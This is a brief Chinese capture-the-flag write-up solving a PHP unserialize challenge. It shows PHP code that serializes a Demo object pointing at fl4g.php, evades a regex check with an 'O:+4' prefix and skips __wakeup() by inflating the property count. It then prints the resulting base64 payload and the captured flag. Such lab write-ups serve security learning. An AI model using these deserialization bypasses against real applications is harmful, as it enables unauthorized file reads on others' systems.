这个题就是三个点:
1、$file改成fl4g.php;
2、绕过:preg_match('/[oc]:\d+:/i', $var)
3、跳过__wakeup()。
步骤如下:
<?php
class Demo {
private $file = 'fl4g.php';//$file改成fl4g.php
}
$a= serialize(new demo);
$a= str_replace('O:4', 'O:+4',$a);//绕过preg_match
$a= str_replace(':1:', ':2:',$a);//绕过wakeup
echo base64_encode($a);
?>
代码执行得:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
执行即可:
flag即为:
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}